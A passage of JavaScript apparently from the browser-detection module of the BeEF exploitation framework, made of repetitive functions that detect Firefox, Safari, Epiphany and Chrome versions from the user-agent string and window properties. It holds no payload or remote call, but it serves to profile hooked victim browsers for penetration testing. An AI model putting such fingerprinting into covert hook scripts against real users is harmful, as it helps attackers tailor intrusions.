beef.browser.isFFbowser()\n    */\n    isFFbowser: function () {\n        const parser = bowser.getParser(navigator.userAgent);\n        const browserName = parser.getBrowserName();\n        return browserName == 'Firefox';\n    },\n\n    /**\n     * Returns true if the browser is any version of Firefox.\n     * @example: beef.browser.isFF()\n     */\n    isFF: function () {\n        var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();\n        return legacyCheck || this.isFFbowser();\n    },\n\n    /**\n     * Returns true if Safari 4.xx\n     * @example: beef.browser.isS4()\n     */\n    isS4: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null && window.navigator.userAgent.match(/Safari\\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 5.xx\n     * @example: beef.browser.isS5()\n     */\n    isS5: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null && window.navigator.userAgent.match(/Safari\\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 6.xx\n     * @example: beef.browser.isS6()\n     */\n    isS6: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null && window.navigator.userAgent.match(/Safari\\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 7.xx\n     * @example: beef.browser.isS7()\n     */\n    isS7: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null && window.navigator.userAgent.match(/Safari\\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 8.xx\n     * @example: beef.browser.isS8()\n     */\n    isS8: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null && window.navigator.userAgent.match(/Safari\\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari.\n     * @example: beef.browser.isS()\n     */\n    isS: function () {\n        return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();\n    },\n\n    /**\n     * Returns true if Webkit based\n     */\n\n\n    isWebKitBased: function () {\n        /*\n        * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\\d+/ functions.\n        */\n        return (!window.opera && !window.chrome\n                && window.navigator.userAgent.match(/ Version\\/\\d/) != null\n                && !window.globalStorage\n                && !!window.getComputedStyle\n                && !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Return true if Epiphany\n     * @example: beef.browser.isEpi()\n     */\n    isEpi: function () {\n        // Epiphany is based on webkit\n        // due to the uncertainty of webkit version vs Epiphany versions tracking.\n        // -- do webkit based checking (i.e. do safari checks)\n        return this.isWebKitBased() &&  window.navigator.userAgent.match(/Epiphany\\//) != null;\n    },\n\n\n    /**\n     * Returns true if Chrome 5.\n     * @example: beef.browser.isC5()\n     */\n    isC5: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 5) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 6.\n     * @example: beef.browser.isC6()\n     */\n    isC6: function () {\n        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 6) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 7.\n     * @example: beef.browser.isC7()\n     */\n    isC7: function () {\n        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 7) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 8.\n     * @example: beef.browser.isC8()\n     */\n    isC8: function () {\n        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 8) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 9.\n     * @example: beef.browser.isC9()\n     */\n    isC9: function () {\n        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 9) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 10.\n     * @example: beef.browser.isC10()\n     */\n    isC10: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 10) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 11.\n     * @example: beef.browser.isC11()\n     */\n    isC11: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 11) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 12.\n     * @example: beef.browser.isC12()\n     */\n    isC12: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 12) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 13.\n     * @example: beef.browser.isC13()\n     */\n    isC13: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 13) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 14.\n     * @example: beef.browser.isC14()\n     */\n    isC14: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 14) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 15.\n     * @example: beef.browser.isC15()\n     */\n    isC15: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 15) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 16.\n     * @example: beef.browser.isC16()\n     */\n    isC16: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 16) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 17.\n     * @example: beef.browser.isC17()\n     */\n    isC17: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 17) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 18.\n     * @example: beef.browser.isC18()\n     */\n    isC18: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 18) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 19.\n     * @example: beef.browser.isC19()\n     */\n    isC19: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 19) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 19.\n     * @example: beef.browser.isC19iOS()\n     */\n    isC19iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 19) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 20.\n     * @example: beef.browser.isC20()\n     */\n    isC20: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 20) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 20.\n     * @example: beef.browser.isC20iOS()\n     */\n    isC20iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 20) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 21.\n     * @example: beef.browser.isC21()\n     */\n    isC21: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 21) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 21.\n     * @example: beef.browser.isC21iOS()\n     */\n    isC21iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 21) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 22.\n     * @example: beef.browser.isC22()\n     */\n    isC22: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 22) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 22.\n     * @example: beef.browser.isC22iOS()\n     */\n    isC22iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 22) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 23.\n     * @example: beef.browser.isC23()\n     */\n    isC23: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 23) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 23.\n     * @example: beef.browser.isC23iOS()\n     */\n    isC23iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 23) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 24.\n     * @example: beef.browser.isC24()\n     */\n    isC24: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 24) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 24.\n     * @example: beef.browser.isC24iOS()\n     */\n    isC24iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 24) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 25.\n     * @example: beef.browser.isC25()\n     */\n    isC25: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 25) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 25.\n     * @example: beef.browser.isC25iOS()\n     */\n    isC25iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 25) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 26.\n     * @example: beef.browser.isC26()\n     */\n    isC26: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 26) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 26.\n     * @example: beef.browser.isC26iOS()\n     */\n    isC26iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 26) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 27.\n     * @example: beef.browser.isC27()\n     */\n    isC27: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 27) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 27.\n     * @example: beef.browser.isC27iOS()\n     */\n    isC27iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 27) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 28.\n     * @example: beef.browser.isC28()\n     */\n    isC28: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 28) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 28.\n     * @example: beef.browser.isC28iOS()\n     */\n    isC28iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 28) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 29.\n     * @example: beef.browser.isC29()\n     */\n    isC29: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 29) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 29.\n     * @example: beef.browser.isC29iOS()\n     */\n    isC29iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 29) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 30.\n     * @example: beef.browser.isC30()\n     */\n    isC30: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 30) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 30.\n     * @example: beef.browser.isC30iOS()\n     */\n    isC30iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 30) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 31.\n     * @example: beef.browser.isC31()\n     */\n    isC31: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 31) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 31.\n     * @example: beef.browser.isC31iOS()\n     */\n    isC31iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 31) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 32.\n     * @example: beef.browser.isC32()\n     */\n    isC32: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 32) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 32.\n     * @example: beef.browser.isC32iOS()\n     */\n    isC32iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 32) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 33.\n     * @example: beef.browser.isC33()\n     */\n    isC33: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 33) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 33.\n     * @example: beef.browser.isC33iOS()\n     */\n    isC33iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 33) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 34.\n     * @example: beef.browser.isC34()\n     */\n    isC34: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 34) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 34.\n     * @example: beef.browser.isC34iOS()\n     */\n    isC34iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 34) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 35.\n     * @example: beef.browser.isC35()\n     */\n    isC35: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 35) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 35.\n     * @example: beef.browser.isC35iOS()\n     */\n    isC35iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 35) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 36.\n     * @example: beef.browser.isC36()\n     */\n    isC36: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 36) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 36.\n     * @example: beef.browser.isC36iOS()\n     */\n    isC36iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 36) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 37.\n     * @example: beef.browser.isC37()\n     */\n    isC37: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 37) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 37.\n     * @example: beef.browser.isC37iOS()\n     */\n    isC37iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 37) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 38.\n     * @example: beef.browser.isC38()\n     */\n    isC38: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 38) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 38.\n     * @example: beef.browser.isC38iOS()\n     */\n    isC38iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 38) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 39.\n     * @example: beef.browser.isC39()\n     */\n    isC39: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 39) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 39.\n     * @example: beef.browser.isC39iOS()\n     */\n    isC39iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 39) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 40.\n     * @example: beef.browser.isC40()\n     */\n    isC40: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 40) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 40.\n     * @example: beef.browser.isC40iOS()\n     */\n    isC40iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 40) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 41.\n     * @example: beef.browser.isC41()\n     */\n    isC41: function () {\n        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 41) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 41.\n     * @example: beef.browser.isC41iOS()\n     */\n    isC41iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 41) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 42.\n     * @example: beef.browser.isC42()\n     */\n    isC42: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 42) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 42.\n     * @example: beef.browser.isC42iOS()\n     */\n    isC42iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 42) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 43.\n     * @example: beef.browser.isC43()\n     */\n    isC43: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 43) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 43.\n     * @example: beef.browser.isC43iOS()\n     */\n    isC43iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 43) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 44.\n     * @example: beef.browser.isC44()\n     */\n    isC44: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 44) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 44.\n     * @example: beef.browser.isC44iOS()\n     */\n    isC44iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 44) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 45.\n     * @example: beef.browser.isC45()\n     */\n    isC45: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 45) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 45.\n     * @example: beef.browser.isC45iOS()\n     */\n    isC45iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 45) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 46.\n     * @example: beef.browser.isC46()\n     */\n    isC46: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 46) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 46.\n     * @example: beef.browser.isC46iOS()\n     */\n    isC46iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 46) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 47.\n     * @example: beef.browser.isC47()\n     */\n    isC47: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 47) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 47.\n     * @example: beef.browser.isC47iOS()\n     */\n    isC47iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 47) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 48.\n     * @example: beef.browser.isC48()\n     */\n    isC48: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 48) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 48.\n     * @example: beef.browser.isC48iOS()\n     */\n    isC48iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 48) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 49.\n     * 